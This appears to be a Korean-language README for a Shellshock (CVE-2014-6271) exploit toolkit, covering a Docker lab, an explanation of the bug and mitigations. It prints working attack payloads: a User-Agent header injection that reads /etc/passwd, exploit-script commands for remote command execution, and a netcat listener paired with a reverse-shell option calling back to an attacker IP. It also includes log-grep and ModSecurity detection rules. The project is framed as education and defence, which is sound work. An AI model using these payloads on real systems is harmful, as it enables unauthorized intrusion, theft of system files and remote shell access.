
셸쇼크(Shellshock, CVE-2014-6271) 재현 - 수백만 대의 서버를 위험에 빠뜨린 배시(bash) 취약점. 자동화된 익스플로잇 툴킷 + Burp Suite 방법론 + Docker 랩. 보안 연구 및 교육 목적으로 제작됨. 공격적 보안 포트폴리오 프로젝트.
CVE-2014-6271 (Shellshock) 자동 익스플로잇 툴킷
2014년 수백만 대의 서버에 영향을 준 Shellshock 취약점을 시연하는 완전한 보안 연구 프로젝트입니다. 자동 스캐닝, 익스플로잇 기능 및 방어 권장 사항을 포함합니다.
Demo
Shellshock (CVE-2014-6271)은 환경 변수 조작을 통해 원격 코드 실행을 허용하는 Bash 셸의 심각한 취약점입니다. 22년 동안 존재하다가 2014년에 발견되었으며, 전 세계 수백만 대의 Unix/Linux 시스템에 영향을 미쳤습니다.
작동 방식:
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
CGI를 사용하는 웹 서버는 HTTP 헤더를 환경 변수로 Bash에 전달하여 취약하게 만듭니다:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Start vulnerable lab
docker-compose up -d
# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
자동 스캐너
익스플로잇 도구
실습 환경
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


User-Agent 헤더 수정:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

서버가 명령을 실행하고 출력을 반환합니다.
클라이언트 (공격자)
│
│ 악의적인 User-Agent가 포함된 HTTP 요청
▼
웹 서버
│
│ 헤더를 환경 변수로 전달
▼
CGI 스크립트
│
│ Bash 프로세스 생성
▼
Bash 셸
│
│ 함수 구문 분석 + 후속 명령 실행
▼
명령 실행 (RCE)
Bash가 환경 변수에서 함수 정의를 발견하면:
() { :;}# Update Bash
sudo apt-get update && sudo apt-get upgrade bash
# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"
bash-apocalypse/
├── README.md
├── exploit.sh # 주요 도구
├── payloads.txt # 테스트 페이로드
├── docker-compose.yml # 실습 설정
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
교육 목적으로만 사용하십시오. 소유하고 있거나 명시적 테스트 권한이 있는 시스템만 테스트하십시오. 무단 액세스는 불법입니다.
취약점이 어떻게 작동하는지 이해하고 이를 방어하는 방법을 배우기 위해 제작되었습니다. ;)